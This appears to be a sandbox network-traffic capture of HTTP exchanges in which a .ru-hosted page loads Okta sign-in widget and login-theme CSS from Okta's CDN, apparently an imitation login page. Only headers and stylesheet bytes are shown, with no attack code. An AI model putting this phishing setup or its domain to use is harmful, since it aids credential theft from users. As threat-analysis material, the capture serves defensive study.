2025-04-01 05:40:11 UTC	938	IN	HTTP/1.1 302 Found Date: Tue, 01 Apr 2025 05:40:11 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame,Accept-Encoding, Accept, X-Requested-With Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250401%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250401T054011Z&X-Amz-Expires=300&X-Amz-Signature=5ebcc0c5c53b523ee757d7d5307ad1a00895b916205a2892a0f12861de730f48&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2025-04-01 05:40:11 UTC	3494	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.githu

Timestamp	Bytes transferred	Direction	Data
2025-04-01 05:40:11 UTC	641	OUT	GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://86zv.vocalentr.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 05:40:11 UTC	770	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 222931 Connection: close Date: Thu, 13 Mar 2025 22:49:11 GMT Server: nginx Last-Modified: Tue, 14 May 2024 21:48:24 GMT ETag: "0329c939fca7c78756b94fbcd95e322b" x-amz-meta-sha1sum: 7b5499b46660a0348cc2b22cae927dcc3fda8b20 Expires: Fri, 13 Mar 2026 22:49:11 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 ad2d59fb6f7c4118dea14b5b7a9a1658.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: NagsQks0T5HJhMfVK7qGpGisUJMpPLRPg4AM87bMuWd5tBHdD0YC8A== Age: 1579860
2025-04-01 05:40:11 UTC	16384	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 71 74 69 70 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 2e 35 70 78 3b 6c 65 66 74 3a 2d 32 38 30 30 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 32 70 78 3b 6d 61 78 2d 77 69 64 74 68 3a 32 38 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 35 30 70 78 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 2d 32 38 30 30 30 70 78 7d 2e 71 74 69 70 2d 63 6f 6e 74 65 6e 74 7b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 70 61 64 64 69 6e 67 3a 35 70 78 20 39 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 71 Data Ascii: @charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.q
2025-04-01 05:40:11 UTC	16384	IN	Data Raw: 66 6f 72 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 64 69 73 6d 69 73 73 2d 69 63 6f 6e 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 33 32 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 33 32 22 5d 3a 62 65 66 6f 72 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 33 32 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 33 32 22 5d 3a 62 65 66 6f 72 65 7b 73 70 65 61 6b 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 2d Data Ascii: fore{font-size:32px;position:absolute}#okta-sign-in .dismiss-icon,#okta-sign-in [class="-32"]:after,#okta-sign-in [class="-32"]:before,#okta-sign-in [class^="-32"]:after,#okta-sign-in [class^="-32"]:before{speak:none;-webkit-font-smoothing:antialiased;-
2025-04-01 05:40:11 UTC	16384	IN	Data Raw: 6e 74 3a 22 5c 65 30 31 64 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 72 65 6d 6f 76 65 2d 31 36 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 37 63 63 30 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 61 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 61 64 64 2d 31 36 3a 62 65 66 6f 72 65 7b 63 6f 6c 6f 72 3a 23 35 65 35 65 35 65 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 64 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 61 64 64 2d 31 36 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 30 30 37 63 63 30 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 30 31 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 6f 75 70 2d 6d 65 6d 62 65 72 2d 72 65 6d 6f 76 65 Data Ascii: nt:"\e01d"}#okta-sign-in .group-remove-16:after{color:#007cc0;content:"\e00a"}#okta-sign-in .group-member-add-16:before{color:#5e5e5e;content:"\e00d"}#okta-sign-in .group-member-add-16:after{color:#007cc0;content:"\e001"}#okta-sign-in .group-member-remove
2025-04-01 05:40:11 UTC	14808	IN	Data Raw: 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 39 66 39 66 39 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 64 72 6f 70 64 6f 77 6e 2e 6d 6f 72 65 2d 61 63 74 69 6f 6e 73 20 2e 6f 70 74 69 6f 6e 2d 73 65 6c 65 63 74 65 64 7b 63 6f 6c 6f 72 3a 23 33 33 33 3b 66 6c 6f 61 74 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 61 64 64 69 6e 67 3a 30 20 32 32 70 78 20 30 20 38 70 78 21 69 6d 70 6f 72 74 61 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 70 61 67 65 2d 6c 69 6e 6b 73 20 2e 64 72 6f 70 64 6f 77 6e 2e 6d 6f 72 65 2d 61 63 74 69 6f 6e 73 20 2e 6f 70 74 69 6f 6e 2d 73 65 6c 65 63 74 65 64 7b Data Ascii: background:#f9f9f9}#okta-sign-in .dropdown.more-actions .option-selected{color:#333;float:none!important;overflow:hidden;padding:0 22px 0 8px!important;position:relative;white-space:nowrap}#okta-sign-in .page-links .dropdown.more-actions .option-selected{
2025-04-01 05:40:11 UTC	16384	IN	Data Raw: 70 65 61 74 20 2d 33 30 70 78 20 2d 32 30 70 78 2c 2d 6d 6f 7a 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 70 2c 23 65 65 65 20 31 25 2c 23 66 66 66 20 31 35 25 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 67 2f 75 69 2f 66 6f 72 6d 73 2f 63 68 6f 73 65 6e 2d 73 70 72 69 74 65 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 2d 33 30 70 78 20 2d 32 30 70 78 2c 2d 6f 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 70 2c 23 65 65 65 20 31 25 2c 23 66 66 66 20 31 35 25 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 67 2f 75 69 2f 66 6f 72 6d 73 2f 63 68 6f 73 65 6e 2d 73 70 72 69 74 65 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 2d 33 30 70 78 20 2d 32 30 70 78 2c 6c 69 6e 65 61 72 2d 67 72 61 Data Ascii: peat -30px -20px,-moz-linear-gradient(top,#eee 1%,#fff 15%);background:url(../img/ui/forms/chosen-sprite.png) no-repeat -30px -20px,-o-linear-gradient(top,#eee 1%,#fff 15%);background:url(../img/ui/forms/chosen-sprite.png) no-repeat -30px -20px,linear-gra
2025-04-01 05:40:11 UTC	16384	IN	Data Raw: 74 61 69 6e 65 72 20 2e 6f 2d 66 6f 72 6d 2d 74 6f 6f 6c 62 61 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 69 6d 70 6c 65 6d 6f 64 61 6c 2d 77 72 61 70 20 2e 6f 2d 66 6f 72 6d 2d 74 6f 6f 6c 62 61 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 20 31 70 78 20 31 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 69 6d 70 6c 65 6d 6f 64 61 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 6f 2d 66 6f 72 6d 2d 63 6f 6e 74 65 6e 74 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 69 6d 70 6c 65 6d 6f 64 61 6c 2d 77 72 61 70 20 2e 6f 2d 66 6f 72 6d 2d 63 6f 6e 74 65 6e 74 7b 6f 76 65 72 66 6c 6f 77 3a 61 75 74 6f 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 69 6d 70 6c 65 6d 6f 64 61 6c 2d 77 72 61 Data Ascii: tainer .o-form-toolbar,#okta-sign-in .simplemodal-wrap .o-form-toolbar{border-radius:0;border-width:0 1px 1px}#okta-sign-in .simplemodal-container .o-form-content,#okta-sign-in .simplemodal-wrap .o-form-content{overflow:auto}#okta-sign-in .simplemodal-wra
2025-04-01 05:40:11 UTC	16384	IN	Data Raw: 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 6f 2d 66 6f 72 6d 2d 66 69 65 6c 64 73 65 74 2e 6d 61 72 67 69 6e 2d 62 74 6d 2d 30 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 6f 2d 66 6f 72 6d 2d 6c 61 62 65 6c 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 69 6e 70 75 74 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 6c 61 62 65 6c 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 74 65 78 74 61 72 65 61 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 6f 2d Data Ascii: hild{margin-bottom:15px}#okta-sign-in .o-form .o-form-fieldset.margin-btm-0{margin-bottom:0}#okta-sign-in .o-form .o-form-label,#okta-sign-in .o-form input,#okta-sign-in .o-form label,#okta-sign-in .o-form textarea{font-size:14px}#okta-sign-in .o-form .o-
2025-04-01 05:40:12 UTC	16384	IN	Data Raw: 74 6f 6d 2d 62 75 74 74 6f 6e 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 76 69 73 69 74 65 64 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 75 74 74 6f 6e 2d 73 65 63 6f 6e 64 61 72 79 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 31 36 36 32 64 64 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 63 6f 6c 6f 72 3a 23 31 36 36 32 64 64 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 Data Ascii: tom-button.link-button:visited{text-decoration:none}#okta-sign-in .button-secondary.link-button{background-color:#fff;border:1px solid #1662dd;border-radius:3px;box-sizing:border-box;color:#1662dd;display:block;font-size:14px;margin-top:15px;text-align:ce
2025-04-01 05:40:12 UTC	286	IN	Data Raw: 6e 73 65 6e 74 20 2e 73 63 6f 70 65 2d 69 74 65 6d 20 2e 73 63 6f 70 65 2d 69 74 65 6d 2d 74 65 78 74 7b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 77 69 64 74 68 3a 38 35 25 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 73 63 6f 70 65 2d 69 74 65 6d 20 2e 73 63 6f 70 65 2d 69 74 65 6d 2d 74 6f 6f 6c 74 69 70 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 2e 73 63 6f 70 65 2d 69 74 65 6d 20 2e 73 63 6f 70 65 2d 69 74 65 6d 2d 74 6f 6f 6c 74 69 70 7b 66 6c 6f 61 74 3a 72 69 67 68 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 36 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 Data Ascii: nsent .scope-item .scope-item-text{word-wrap:break-word;float:left;width:85%}#okta-sign-in .consent-required .scope-item .scope-item-tooltip,#okta-sign-in .granular-consent .scope-item .scope-item-tooltip{float:right;margin-right:16px}#okta-sign-in .conse
2025-04-01 05:40:12 UTC	16384	IN	Data Raw: 6e 20 70 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 2e 63 6f 6e 73 65 6e 74 2d 64 65 73 63 72 69 70 74 69 6f 6e 20 70 7b 63 6f 6c 6f 72 3a 23 36 65 36 65 37 38 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 63 6f 6e 73 65 6e 74 2d 66 6f 6f 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 2e 63 6f 6e 73 65 6e 74 2d 66 6f 6f 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 63 6f 6e 73 65 6e 74 2d 66 6f 6f 74 65 72 20 61 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 Data Ascii: n p,#okta-sign-in .granular-consent .consent-description p{color:#6e6e78}#okta-sign-in .consent-required .consent-footer,#okta-sign-in .granular-consent .consent-footer{text-align:center}#okta-sign-in .consent-required .consent-footer a,#okta-sign-in .gra

Timestamp	Bytes transferred	Direction	Data
2025-04-01 05:40:11 UTC	650	OUT	GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://86zv.vocalentr.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 05:40:11 UTC	769	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 10498 Connection: close Date: Mon, 17 Mar 2025 17:37:07 GMT Server: nginx Last-Modified: Thu, 14 Mar 2024 00:03:58 GMT ETag: "e0d37a504604ef874bad26435d62011f" x-amz-meta-sha1sum: 4301f0d2b729ae22adece657d79eccaa25f429b1 Expires: Tue, 17 Mar 2026 17:37:07 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 024ebcc63921610877d4ba277290628c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: _GLZqQzb2hBiNdiKpPLfozE59yc_TmUWwI2lY98zrE9dJnu_2039Dw== Age: 1252984
2025-04-01 05:40:11 UTC	10498	IN	Data Raw: 61 2c 61 62 62 72 2c 61 63 72 6f 6e 79 6d 2c 61 64 64 72 65 73 73 2c 61 70 70 6c 65 74 2c 62 2c 62 69 67 2c 62 6c 6f 63 6b 71 75 6f 74 65 2c 62 6f 64 79 2c 63 61 70 74 69 6f 6e 2c 63 65 6e 74 65 72 2c 63 69 74 65 2c 63 6f 64 65 2c 64 64 2c 64 65 6c 2c 64 66 6e 2c 64 69 76 2c 64 6c 2c 64 74 2c 65 6d 2c 66 69 65 6c 64 73 65 74 2c 66 6f 72 6d 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 74 6d 6c 2c 69 2c 69 66 72 61 6d 65 2c 69 6d 67 2c 69 6e 73 2c 6b 62 64 2c 6c 61 62 65 6c 2c 6c 65 67 65 6e 64 2c 6c 69 2c 6f 62 6a 65 63 74 2c 6f 6c 2c 70 2c 70 72 65 2c 71 2c 73 2c 73 61 6d 70 2c 73 6d 61 6c 6c 2c 73 70 61 6e 2c 73 74 72 69 6b 65 2c 73 74 72 6f 6e 67 2c 73 75 62 2c 73 75 70 2c 74 61 62 6c 65 2c 74 62 6f 64 79 2c 74 64 2c 74 66 6f 6f 74 2c 74 Data Ascii: a,abbr,acronym,address,applet,b,big,blockquote,body,caption,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,t